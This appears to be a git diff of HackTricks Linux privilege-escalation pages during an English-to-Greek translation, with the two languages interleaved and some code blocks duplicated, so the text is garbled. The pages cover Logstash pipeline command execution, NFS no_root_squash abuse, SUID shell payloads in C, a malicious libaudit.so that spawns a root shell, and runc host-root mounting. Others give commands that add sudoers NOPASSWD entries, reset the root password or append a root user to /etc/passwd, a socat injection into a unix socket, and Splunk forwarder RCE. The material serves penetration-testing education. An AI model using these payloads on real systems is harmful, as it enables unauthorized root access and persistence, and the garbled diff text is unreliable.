Για να προσπαθήσετε να αποκτήσετε δικαιώματα, πρώτα εντοπίστε τον χρήστη υπό τον οποίο εκτελείται η υπηρεσία Logstash, συνήθως ο χρήστης **logstash**. Βεβαιωθείτε ότι πληροίτε **ένα** από αυτά τα κριτήρια:
- Possess **write access** to a pipeline **.conf** file **or**
- The **/etc/logstash/pipelines.yml** file uses a wildcard, and you can write to the target folder
- Έχετε **δικαίωμα εγγραφής** σε ένα αρχείο pipeline **.conf** **ή**
- Το αρχείο **/etc/logstash/pipelines.yml** χρησιμοποιεί έναν χαρακτήρα μπαλαντέρ και μπορείτε να γράψετε στον στόχο φάκελο
Additionally, **one** of these conditions must be fulfilled:
Επιπλέον, **μία** από αυτές τις προϋποθέσεις πρέπει να πληρούται:
- Capability to restart the Logstash service **or**
- The **/etc/logstash/logstash.yml** file has **config.reload.automatic: true** set
Given a wildcard in the configuration, creating a file that matches this wildcard allows for command execution. For instance:
- Δυνατότητα επανεκκίνησης της υπηρεσίας Logstash **ή**
- Το αρχείο **/etc/logstash/logstash.yml** έχει ρυθμιστεί σε **config.reload.automatic: true**
Δεδομένου ενός χαρακτήρα μπαλαντέρ στη ρύθμιση, η δημιουργία ενός αρχείου που ταιριάζει με αυτόν τον χαρακτήρα μπαλαντέρ επιτρέπει την εκτέλεση εντολών. Για παράδειγμα:
```bash
input {
exec {
command => "whoami"
interval => 120
}
exec {
command => "whoami"
interval => 120
}
}
output {
file {
path => "/tmp/output.log"
codec => rubydebug
}
file {
path => "/tmp/output.log"
codec => rubydebug
}
}
```
Εδώ, το **interval** καθορίζει τη συχνότητα εκτέλεσης σε δευτερόλεπτα. Στο δοθέν παράδειγμα, η εντολή **whoami** εκτελείται κάθε 120 δευτερόλεπτα, με την έξοδό της να κατευθύνεται στο **/tmp/output.log**.
Here, **interval** determines the execution frequency in seconds. In the given example, the **whoami** command runs every 120 seconds, with its output directed to **/tmp/output.log**.
With **config.reload.automatic: true** in **/etc/logstash/logstash.yml**, Logstash will automatically detect and apply new or modified pipeline configurations without needing a restart. If there's no wildcard, modifications can still be made to existing configurations, but caution is advised to avoid disruptions.
Με το **config.reload.automatic: true** στο **/etc/logstash/logstash.yml**, το Logstash θα ανιχνεύει και θα εφαρμόζει αυτόματα νέες ή τροποποιημένες ρυθμίσεις pipeline χωρίς να απαιτείται επανεκκίνηση. Αν δεν υπάρχει wildcard, μπορούν να γίνουν τροποποιήσεις σε υπάρχουσες ρυθμίσεις, αλλά συνιστάται προσοχή για να αποφευχθούν διαταραχές.
## References

View File

@ -1,19 +1,18 @@
{{#include ../../banners/hacktricks-training.md}}
Read the _ **/etc/exports** _ file, if you find some directory that is configured as **no_root_squash**, then you can **access** it from **as a client** and **write inside** that directory **as** if you were the local **root** of the machine.
Διαβάστε το _ **/etc/exports** _ αρχείο, αν βρείτε κάποιον κατάλογο που είναι ρυθμισμένος ως **no_root_squash**, τότε μπορείτε να **έχετε πρόσβαση** σε αυτόν από **ως πελάτης** και να **γράφετε μέσα** σε αυτόν τον κατάλογο **σαν** να ήσασταν ο τοπικός **root** της μηχανής.
**no_root_squash**: This option basically gives authority to the root user on the client to access files on the NFS server as root. And this can lead to serious security implications.
**no_root_squash**: Αυτή η επιλογή δίνει βασικά εξουσία στον χρήστη root στον πελάτη να έχει πρόσβαση σε αρχεία στον NFS server ως root. Και αυτό μπορεί να οδηγήσει σε σοβαρές επιπτώσεις ασφαλείας.
**no_all_squash:** This is similar to **no_root_squash** option but applies to **non-root users**. Imagine, you have a shell as nobody user; checked /etc/exports file; no_all_squash option is present; check /etc/passwd file; emulate a non-root user; create a suid file as that user (by mounting using nfs). Execute the suid as nobody user and become different user.
**no_all_squash:** Αυτή είναι παρόμοια με την επιλογή **no_root_squash** αλλά εφαρμόζεται σε **μη-ρίζες χρήστες**. Φανταστείτε, έχετε ένα shell ως χρήστης nobody; ελέγξατε το αρχείο /etc/exports; η επιλογή no_all_squash είναι παρούσα; ελέγξτε το αρχείο /etc/passwd; μιμηθείτε έναν μη-ρίζα χρήστη; δημιουργήστε ένα αρχείο suid ως αυτός ο χρήστης (με την τοποθέτηση χρησιμοποιώντας nfs). Εκτελέστε το suid ως χρήστης nobody και γίνετε διαφορετικός χρήστης.
# Privilege Escalation
## Remote Exploit
If you have found this vulnerability, you can exploit it:
- **Mounting that directory** in a client machine, and **as root copying** inside the mounted folder the **/bin/bash** binary and giving it **SUID** rights, and **executing from the victim** machine that bash binary.
Αν έχετε βρει αυτή την ευπάθεια, μπορείτε να την εκμεταλλευτείτε:
- **Τοποθετώντας αυτόν τον κατάλογο** σε μια μηχανή πελάτη, και **ως root αντιγράφοντας** μέσα στον τοποθετημένο φάκελο το **/bin/bash** δυαδικό και δίνοντάς του **SUID** δικαιώματα, και **εκτελώντας από τη μηχανή του θύματος** αυτό το δυαδικό bash.
```bash
#Attacker, as root user
mkdir /tmp/pe
@ -26,9 +25,7 @@ chmod +s bash
cd <SHAREDD_FOLDER>
./bash -p #ROOT shell
```
- **Mounting that directory** in a client machine, and **as root copying** inside the mounted folder our come compiled payload that will abuse the SUID permission, give to it **SUID** rights, and **execute from the victim** machine that binary (you can find here some[ C SUID payloads](payloads-to-execute.md#c)).
- **Τοποθετώντας αυτόν τον φάκελο** σε μια μηχανή-πελάτη, και **ως root αντιγράφοντας** μέσα στον τοποθετημένο φάκελο το προετοιμασμένο payload μας που θα εκμεταλλευτεί την άδεια SUID, δίνοντάς του **δικαιώματα SUID**, και **εκτελώντας από τη μηχανή του θύματος** αυτό το δυαδικό (μπορείτε να βρείτε εδώ μερικά [C SUID payloads](payloads-to-execute.md#c)).
```bash
#Attacker, as root user
gcc payload.c -o payload
@ -42,61 +39,57 @@ chmod +s payload
cd <SHAREDD_FOLDER>
./payload #ROOT shell
```
## Local Exploit
## Τοπική Εκμετάλλευση
> [!NOTE]
> Note that if you can create a **tunnel from your machine to the victim machine you can still use the Remote version to exploit this privilege escalation tunnelling the required ports**.\
> The following trick is in case the file `/etc/exports` **indicates an IP**. In this case you **won't be able to use** in any case the **remote exploit** and you will need to **abuse this trick**.\
> Another required requirement for the exploit to work is that **the export inside `/etc/export`** **must be using the `insecure` flag**.\
> --_I'm not sure that if `/etc/export` is indicating an IP address this trick will work_--
> Σημειώστε ότι αν μπορείτε να δημιουργήσετε ένα **τούνελ από τη μηχανή σας στη μηχανή του θύματος μπορείτε ακόμα να χρησιμοποιήσετε την απομακρυσμένη έκδοση για να εκμεταλλευτείτε αυτή την κλιμάκωση προνομίων στέλνοντας τα απαιτούμενα ports**.\
> Το παρακάτω κόλπο ισχύει στην περίπτωση που το αρχείο `/etc/exports` **υποδεικνύει μια IP**. Σε αυτή την περίπτωση **δεν θα μπορείτε να χρησιμοποιήσετε** σε καμία περίπτωση την **απομακρυσμένη εκμετάλλευση** και θα χρειαστεί να **καταχραστείτε αυτό το κόλπο**.\
> Ένα άλλο απαιτούμενο προαπαιτούμενο για να λειτουργήσει η εκμετάλλευση είναι ότι **η εξαγωγή μέσα στο `/etc/export`** **πρέπει να χρησιμοποιεί την σημαία `insecure`**.\
> --_Δεν είμαι σίγουρος αν το `/etc/export` υποδεικνύει μια διεύθυνση IP αν αυτό το κόλπο θα λειτουργήσει_--
## Basic Information
## Βασικές Πληροφορίες
The scenario involves exploiting a mounted NFS share on a local machine, leveraging a flaw in the NFSv3 specification which allows the client to specify its uid/gid, potentially enabling unauthorized access. The exploitation involves using [libnfs](https://github.com/sahlberg/libnfs), a library that allows for the forging of NFS RPC calls.
Το σενάριο περιλαμβάνει την εκμετάλλευση ενός προσαρτημένου NFS share σε μια τοπική μηχανή, εκμεταλλευόμενο ένα σφάλμα στην προδιαγραφή NFSv3 που επιτρέπει στον πελάτη να καθορίσει το uid/gid του, ενδεχομένως επιτρέποντας μη εξουσιοδοτημένη πρόσβαση. Η εκμετάλλευση περιλαμβάνει τη χρήση του [libnfs](https://github.com/sahlberg/libnfs), μιας βιβλιοθήκης που επιτρέπει την πλαστογράφηση των κλήσεων RPC NFS.
### Compiling the Library
The library compilation steps might require adjustments based on the kernel version. In this specific case, the fallocate syscalls were commented out. The compilation process involves the following commands:
### Συγκέντρωση της Βιβλιοθήκης
Τα βήματα συγκέντρωσης της βιβλιοθήκης μπορεί να απαιτούν προσαρμογές με βάση την έκδοση του πυρήνα. Σε αυτή την συγκεκριμένη περίπτωση, οι κλήσεις syscalls fallocate είχαν σχολιαστεί. Η διαδικασία συγκέντρωσης περιλαμβάνει τις παρακάτω εντολές:
```bash
./bootstrap
./configure
make
gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/
```
### Διεξαγωγή της Εκμετάλλευσης
### Conducting the Exploit
Η εκμετάλλευση περιλαμβάνει τη δημιουργία ενός απλού προγράμματος C (`pwn.c`) που ανυψώνει τα δικαιώματα σε root και στη συνέχεια εκτελεί ένα shell. Το πρόγραμμα μεταγλωττίζεται και το παραγόμενο δυαδικό αρχείο (`a.out`) τοποθετείται στο κοινόχρηστο με suid root, χρησιμοποιώντας το `ld_nfs.so` για να προσποιηθεί το uid στις κλήσεις RPC:
The exploit involves creating a simple C program (`pwn.c`) that elevates privileges to root and then executing a shell. The program is compiled, and the resulting binary (`a.out`) is placed on the share with suid root, using `ld_nfs.so` to fake the uid in the RPC calls:
1. **Μεταγλωττίστε τον κώδικα εκμετάλλευσης:**
1. **Compile the exploit code:**
```bash
cat pwn.c
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
gcc pwn.c -o a.out
```
```bash
cat pwn.c
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
gcc pwn.c -o a.out
```
2. **Τοποθετήστε την εκμετάλλευση στο κοινόχρηστο και τροποποιήστε τα δικαιώματά της προσποιούμενοι το uid:**
2. **Place the exploit on the share and modify its permissions by faking the uid:**
```bash
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
```
```bash
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
```
3. **Εκτελέστε την εκμετάλλευση για να αποκτήσετε δικαιώματα root:**
```bash
/mnt/share/a.out
#root
```
3. **Execute the exploit to gain root privileges:**
```bash
/mnt/share/a.out
#root
```
## Bonus: NFShell for Stealthy File Access
Once root access is obtained, to interact with the NFS share without changing ownership (to avoid leaving traces), a Python script (nfsh.py) is used. This script adjusts the uid to match that of the file being accessed, allowing for interaction with files on the share without permission issues:
## Μπόνους: NFShell για Διακριτική Πρόσβαση σε Αρχεία
Μόλις αποκτηθεί η πρόσβαση root, για να αλληλεπιδράσετε με το NFS share χωρίς να αλλάξετε την ιδιοκτησία (για να αποφευχθεί η αφή των ιχνών), χρησιμοποιείται ένα σενάριο Python (nfsh.py). Αυτό το σενάριο προσαρμόζει το uid ώστε να ταιριάζει με αυτό του αρχείου που προσπελάζεται, επιτρέποντας την αλληλεπίδραση με αρχεία στο κοινόχρηστο χωρίς προβλήματα δικαιωμάτων:
```python
#!/usr/bin/env python
# script from https://www.errno.fr/nfs_privesc.html
@ -104,23 +97,20 @@ import sys
import os
def get_file_uid(filepath):
try:
uid = os.stat(filepath).st_uid
except OSError as e:
return get_file_uid(os.path.dirname(filepath))
return uid
try:
uid = os.stat(filepath).st_uid
except OSError as e:
return get_file_uid(os.path.dirname(filepath))
return uid
filepath = sys.argv[-1]
uid = get_file_uid(filepath)
os.setreuid(uid, uid)
os.system(' '.join(sys.argv[1:]))
```
Run like:
Τρέξτε όπως:
```bash
# ll ./mount/
drwxr-x--- 6 1008 1009 1024 Apr 5 2017 9.3_old
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -3,20 +3,17 @@
{{#include ../../banners/hacktricks-training.md}}
## Bash
```bash
cp /bin/bash /tmp/b && chmod +s /tmp/b
/bin/b -p #Maintains root privileges from suid, working in debian & buntu
```
## C
```c
//gcc payload.c -o payload
int main(void){
setresuid(0, 0, 0); //Set as user suid user
system("/bin/sh");
return 0;
setresuid(0, 0, 0); //Set as user suid user
system("/bin/sh");
return 0;
}
```
@ -27,9 +24,9 @@ int main(void){
#include <sys/types.h>
int main(){
setuid(getuid());
system("/bin/bash");
return 0;
setuid(getuid());
system("/bin/bash");
return 0;
}
```
@ -40,42 +37,38 @@ int main(){
#include <unistd.h>
int main(void) {
char *const paramList[10] = {"/bin/bash", "-p", NULL};
const int id = 1000;
setresuid(id, id, id);
execve(paramList[0], paramList, NULL);
return 0;
char *const paramList[10] = {"/bin/bash", "-p", NULL};
const int id = 1000;
setresuid(id, id, id);
execve(paramList[0], paramList, NULL);
return 0;
}
```
## Επικαλύπτοντας ένα αρχείο για την κλιμάκωση δικαιωμάτων
## Overwriting a file to escalate privileges
### Κοινά αρχεία
### Common files
- Προσθέστε χρήστη με κωδικό πρόσβασης στο _/etc/passwd_
- Αλλάξτε τον κωδικό πρόσβασης μέσα στο _/etc/shadow_
- Προσθέστε χρήστη στους sudoers στο _/etc/sudoers_
- Καταχρήστε το docker μέσω του docker socket, συνήθως στο _/run/docker.sock_ ή _/var/run/docker.sock_
- Add user with password to _/etc/passwd_
- Change password inside _/etc/shadow_
- Add user to sudoers in _/etc/sudoers_
- Abuse docker through the docker socket, usually in _/run/docker.sock_ or _/var/run/docker.sock_
### Overwriting a library
Check a library used by some binary, in this case `/bin/su`:
### Επικαλύπτοντας μια βιβλιοθήκη
Ελέγξτε μια βιβλιοθήκη που χρησιμοποιείται από κάποιο δυαδικό, σε αυτή την περίπτωση `/bin/su`:
```bash
ldd /bin/su
linux-vdso.so.1 (0x00007ffef06e9000)
libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fe473676000)
libpam_misc.so.0 => /lib/x86_64-linux-gnu/libpam_misc.so.0 (0x00007fe473472000)
libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007fe473249000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe472e58000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000)
libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000)
/lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000)
linux-vdso.so.1 (0x00007ffef06e9000)
libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fe473676000)
libpam_misc.so.0 => /lib/x86_64-linux-gnu/libpam_misc.so.0 (0x00007fe473472000)
libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007fe473249000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe472e58000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000)
libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000)
/lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000)
```
In this case lets try to impersonate `/lib/x86_64-linux-gnu/libaudit.so.1`.\
So, check for functions of this library used by the **`su`** binary:
Σε αυτή την περίπτωση, ας προσπαθήσουμε να προσποιηθούμε το `/lib/x86_64-linux-gnu/libaudit.so.1`.\
Έτσι, ελέγξτε τις συναρτήσεις αυτής της βιβλιοθήκης που χρησιμοποιούνται από το **`su`** δυαδικό:
```bash
objdump -T /bin/su | grep audit
0000000000000000 DF *UND* 0000000000000000 audit_open
@ -83,9 +76,7 @@ objdump -T /bin/su | grep audit
0000000000000000 DF *UND* 0000000000000000 audit_log_acct_message
000000000020e968 g DO .bss 0000000000000004 Base audit_fd
```
The symbols `audit_open`, `audit_log_acct_message`, `audit_log_acct_message` and `audit_fd` are probably from the libaudit.so.1 library. As the libaudit.so.1 will be overwritten by the malicious shared library, these symbols should be present in the new shared library, otherwise the program will not be able to find the symbol and will exit.
Οι συμβολισμοί `audit_open`, `audit_log_acct_message`, `audit_log_acct_message` και `audit_fd` προέρχονται πιθανώς από τη βιβλιοθήκη libaudit.so.1. Καθώς η libaudit.so.1 θα αντικατασταθεί από τη κακόβουλη κοινή βιβλιοθήκη, αυτοί οι συμβολισμοί θα πρέπει να είναι παρόντες στη νέα κοινή βιβλιοθήκη, αλλιώς το πρόγραμμα δεν θα μπορεί να βρει τον συμβολισμό και θα τερματιστεί.
```c
#include<stdio.h>
#include<stdlib.h>
@ -102,34 +93,27 @@ void inject()__attribute__((constructor));
void inject()
{
setuid(0);
setgid(0);
system("/bin/bash");
setuid(0);
setgid(0);
system("/bin/bash");
}
```
Now, just calling **`/bin/su`** you will obtain a shell as root.
Τώρα, απλά καλώντας **`/bin/su`** θα αποκτήσετε ένα shell ως root.
## Scripts
Can you make root execute something?
### **www-data to sudoers**
Μπορείτε να κάνετε τον root να εκτελέσει κάτι;
### **www-data σε sudoers**
```bash
echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
```
### **Change root password**
### **Αλλαγή κωδικού πρόσβασης root**
```bash
echo "root:hacked" | chpasswd
```
### Add new root user to /etc/passwd
### Προσθήκη νέου χρήστη root στο /etc/passwd
```bash
echo hacker:$((mkpasswd -m SHA-512 myhackerpass || openssl passwd -1 -salt mysalt myhackerpass || echo '$1$mysalt$7DTZJIc9s6z60L6aj0Sui.') 2>/dev/null):0:0::/:/bin/bash >> /etc/passwd
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
## Basic information
If you want to learn more about **runc** check the following page:
Αν θέλετε να μάθετε περισσότερα για το **runc** ελέγξτε την παρακάτω σελίδα:
{{#ref}}
../../network-services-pentesting/2375-pentesting-docker.md
@ -12,22 +12,21 @@ If you want to learn more about **runc** check the following page:
## PE
If you find that `runc` is installed in the host you may be able to **run a container mounting the root / folder of the host**.
Αν διαπιστώσετε ότι το `runc` είναι εγκατεστημένο στον host, μπορεί να είστε σε θέση να **τρέξετε ένα container που να προσαρτά τον ριζικό / φάκελο του host**.
```bash
runc -help #Get help and see if runc is intalled
runc spec #This will create the config.json file in your current folder
Inside the "mounts" section of the create config.json add the following lines:
{
"type": "bind",
"source": "/",
"destination": "/",
"options": [
"rbind",
"rw",
"rprivate"
]
"type": "bind",
"source": "/",
"destination": "/",
"options": [
"rbind",
"rw",
"rprivate"
]
},
#Once you have modified the config.json file, create the folder rootfs in the same directory
@ -37,8 +36,7 @@ mkdir rootfs
# The root folder is the one from the host
runc run demo
```
> [!CAUTION]
> This won't always work as the default operation of runc is to run as root, so running it as an unprivileged user simply cannot work (unless you have a rootless configuration). Making a rootless configuration the default isn't generally a good idea because there are quite a few restrictions inside rootless containers that don't apply outside rootless containers.
> Αυτό δεν θα λειτουργεί πάντα καθώς η προεπιλεγμένη λειτουργία του runc είναι να εκτελείται ως root, οπότε η εκτέλεσή του ως μη προνομιούχος χρήστη απλά δεν μπορεί να λειτουργήσει (εκτός αν έχετε μια ρύθμιση χωρίς root). Η ρύθμιση μιας προεπιλεγμένης ρύθμισης χωρίς root γενικά δεν είναι καλή ιδέα επειδή υπάρχουν αρκετοί περιορισμοί μέσα σε κοντέινερ χωρίς root που δεν ισχύουν έξω από κοντέινερ χωρίς root.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,13 +1,12 @@
{{#include ../../banners/hacktricks-training.md}}
# SELinux in Containers
# SELinux σε Κοντέινερ
[Introduction and example from the redhat docs](https://www.redhat.com/sysadmin/privileged-flag-container-engines)
[Εισαγωγή και παράδειγμα από τα έγγραφα της redhat](https://www.redhat.com/sysadmin/privileged-flag-container-engines)
[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) is a **labeling** **system**. Every **process** and every **file** system object has a **label**. SELinux policies define rules about what a **process label is allowed to do with all of the other labels** on the system.
Container engines launch **container processes with a single confined SELinux label**, usually `container_t`, and then set the container inside of the container to be labeled `container_file_t`. The SELinux policy rules basically say that the **`container_t` processes can only read/write/execute files labeled `container_file_t`**. If a container process escapes the container and attempts to write to content on the host, the Linux kernel denies access and only allows the container process to write to content labeled `container_file_t`.
[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) είναι ένα **σύστημα** **ετικετών**. Κάθε **διαδικασία** και κάθε **αντικείμενο** συστήματος αρχείων έχει μια **ετικέτα**. Οι πολιτικές SELinux καθορίζουν κανόνες σχετικά με το τι επιτρέπεται να κάνει μια **ετικέτα διαδικασίας** με όλες τις άλλες ετικέτες στο σύστημα.
Οι μηχανές κοντέινερ εκκινούν **διαδικασίες κοντέινερ με μια μόνο περιορισμένη ετικέτα SELinux**, συνήθως `container_t`, και στη συνέχεια ορίζουν το κοντέινερ μέσα στο κοντέινερ να έχει την ετικέτα `container_file_t`. Οι κανόνες πολιτικής SELinux ουσιαστικά λένε ότι οι **διαδικασίες `container_t` μπορούν μόνο να διαβάζουν/γράφουν/εκτελούν αρχεία με ετικέτα `container_file_t`**. Εάν μια διαδικασία κοντέινερ διαφύγει από το κοντέινερ και προσπαθήσει να γράψει σε περιεχόμενο στον οικοδεσπότη, ο πυρήνας Linux αρνείται την πρόσβαση και επιτρέπει μόνο στη διαδικασία κοντέινερ να γράψει σε περιεχόμενο με ετικέτα `container_file_t`.
```shell
$ podman run -d fedora sleep 100
d4194babf6b877c7100e79de92cd6717166f7302113018686cea650ea40bd7cb
@ -15,9 +14,8 @@ $ podman top -l label
LABEL
system_u:system_r:container_t:s0:c647,c780
```
# Χρήστες SELinux
# SELinux Users
There are SELinux users in addition to the regular Linux users. SELinux users are part of an SELinux policy. Each Linux user is mapped to a SELinux user as part of the policy. This allows Linux users to inherit the restrictions and security rules and mechanisms placed on SELinux users.
Υπάρχουν χρήστες SELinux εκτός από τους κανονικούς χρήστες Linux. Οι χρήστες SELinux είναι μέρος μιας πολιτικής SELinux. Κάθε χρήστης Linux αντιστοιχίζεται σε έναν χρήστη SELinux ως μέρος της πολιτικής. Αυτό επιτρέπει στους χρήστες Linux να κληρονομούν τους περιορισμούς και τους κανόνες και μηχανισμούς ασφαλείας που έχουν επιβληθεί στους χρήστες SELinux.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,9 +1,8 @@
{{#include ../../banners/hacktricks-training.md}}
## Socket binding example with Python
In the following example a **unix socket is created** (`/tmp/socket_test.s`) and everything **received** is going to be **executed** by `os.system`.I know that you aren't going to find this in the wild, but the goal of this example is to see how a code using unix sockets looks like, and how to manage the input in the worst case possible.
## Παράδειγμα δέσμευσης socket με Python
Στο παρακάτω παράδειγμα δημιουργείται ένα **unix socket** (`/tmp/socket_test.s`) και όλα όσα **λαμβάνονται** θα **εκτελούνται** από το `os.system`. Ξέρω ότι δεν πρόκειται να το βρείτε στην πραγματικότητα, αλλά ο στόχος αυτού του παραδείγματος είναι να δείτε πώς φαίνεται ο κώδικας που χρησιμοποιεί unix sockets και πώς να διαχειριστείτε την είσοδο στην χειρότερη δυνατή περίπτωση.
```python:s.py
import socket
import os, os.path
@ -11,34 +10,29 @@ import time
from collections import deque
if os.path.exists("/tmp/socket_test.s"):
os.remove("/tmp/socket_test.s")
os.remove("/tmp/socket_test.s")
server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
server.bind("/tmp/socket_test.s")
os.system("chmod o+w /tmp/socket_test.s")
while True:
server.listen(1)
conn, addr = server.accept()
datagram = conn.recv(1024)
if datagram:
print(datagram)
os.system(datagram)
conn.close()
server.listen(1)
conn, addr = server.accept()
datagram = conn.recv(1024)
if datagram:
print(datagram)
os.system(datagram)
conn.close()
```
**Execute** the code using python: `python s.py` and **check how the socket is listening**:
**Εκτελέστε** τον κώδικα χρησιμοποιώντας python: `python s.py` και **ελέγξτε πώς ακούει το socket**:
```python
netstat -a -p --unix | grep "socket_test"
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
will not be shown, you would have to be root to see it all.)
unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s
```
**Exploit**
**Εκμετάλλευση**
```python
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,52 +1,50 @@
# Splunk LPE and Persistence
# Splunk LPE και Επιμονή
{{#include ../../banners/hacktricks-training.md}}
If **enumerating** a machine **internally** or **externally** you find **Splunk running** (port 8090), if you luckily know any **valid credentials** you can **abuse the Splunk service** to **execute a shell** as the user running Splunk. If root is running it, you can escalate privileges to root.
Αν **καταμετράτε** μια μηχανή **εσωτερικά** ή **εξωτερικά** και βρείτε **το Splunk να τρέχει** (θύρα 8090), αν έχετε την τύχη να γνωρίζετε οποιαδήποτε **έγκυρα διαπιστευτήρια** μπορείτε να **καταχραστείτε την υπηρεσία Splunk** για να **εκτελέσετε ένα shell** ως ο χρήστης που τρέχει το Splunk. Αν το τρέχει ο root, μπορείτε να αναβαθμίσετε τα δικαιώματα σε root.
Also if you are **already root and the Splunk service is not listening only on localhost**, you can **steal** the **password** file **from** the Splunk service and **crack** the passwords, or **add new** credentials to it. And maintain persistence on the host.
Επίσης, αν είστε **ήδη root και η υπηρεσία Splunk δεν ακούει μόνο σε localhost**, μπορείτε να **κλέψετε** το **αρχείο** κωδικών **από** την υπηρεσία Splunk και να **σπάσετε** τους κωδικούς, ή να **προσθέσετε νέα** διαπιστευτήρια σε αυτό. Και να διατηρήσετε επιμονή στον host.
In the first image below you can see how a Splunkd web page looks like.
Στην πρώτη εικόνα παρακάτω μπορείτε να δείτε πώς φαίνεται μια σελίδα web του Splunkd.
## Splunk Universal Forwarder Agent Exploit Summary
## Περίληψη Εκμετάλλευσης του Splunk Universal Forwarder Agent
For further details check the post [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/). This is just a sumary:
Για περισσότερες λεπτομέρειες ελέγξτε την ανάρτηση [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/). Αυτή είναι απλώς μια περίληψη:
**Exploit Overview:**
An exploit targeting the Splunk Universal Forwarder Agent (UF) allows attackers with the agent password to execute arbitrary code on systems running the agent, potentially compromising an entire network.
**Επισκόπηση Εκμετάλλευσης:**
Μια εκμετάλλευση που στοχεύει τον Splunk Universal Forwarder Agent (UF) επιτρέπει στους επιτιθέμενους με τον κωδικό του agent να εκτελούν αυθαίρετο κώδικα σε συστήματα που τρέχουν τον agent, ενδεχομένως να διακυβεύσουν ολόκληρο το δίκτυο.
**Key Points:**
**Κύρια Σημεία:**
- The UF agent does not validate incoming connections or the authenticity of code, making it vulnerable to unauthorized code execution.
- Common password acquisition methods include locating them in network directories, file shares, or internal documentation.
- Successful exploitation can lead to SYSTEM or root level access on compromised hosts, data exfiltration, and further network infiltration.
- Ο agent UF δεν επικυρώνει τις εισερχόμενες συνδέσεις ή την αυθεντικότητα του κώδικα, καθιστώντας τον ευάλωτο σε μη εξουσιοδοτημένη εκτέλεση κώδικα.
- Κοινές μέθοδοι απόκτησης κωδικών περιλαμβάνουν την εύρεση τους σε δίκτυα καταλόγων, κοινές χρήσεις αρχείων ή εσωτερική τεκμηρίωση.
- Η επιτυχής εκμετάλλευση μπορεί να οδηγήσει σε πρόσβαση σε επίπεδο SYSTEM ή root σε διακυβευμένους hosts, εξαγωγή δεδομένων και περαιτέρω διείσδυση στο δίκτυο.
**Exploit Execution:**
**Εκτέλεση Εκμετάλλευσης:**
1. Attacker obtains the UF agent password.
2. Utilizes the Splunk API to send commands or scripts to the agents.
3. Possible actions include file extraction, user account manipulation, and system compromise.
1. Ο επιτιθέμενος αποκτά τον κωδικό του agent UF.
2. Χρησιμοποιεί το API του Splunk για να στείλει εντολές ή σενάρια στους agents.
3. Πιθανές ενέργειες περιλαμβάνουν εξαγωγή αρχείων, χειρισμό λογαριασμών χρηστών και διακυβέρνηση συστήματος.
**Impact:**
**Επίπτωση:**
- Full network compromise with SYSTEM/root level permissions on each host.
- Potential for disabling logging to evade detection.
- Installation of backdoors or ransomware.
**Example Command for Exploitation:**
- Πλήρης διακυβέρνηση του δικτύου με δικαιώματα SYSTEM/root σε κάθε host.
- Πιθανότητα απενεργοποίησης της καταγραφής για να αποφευχθεί η ανίχνευση.
- Εγκατάσταση backdoors ή ransomware.
**Παράδειγμα Εντολής για Εκμετάλλευση:**
```bash
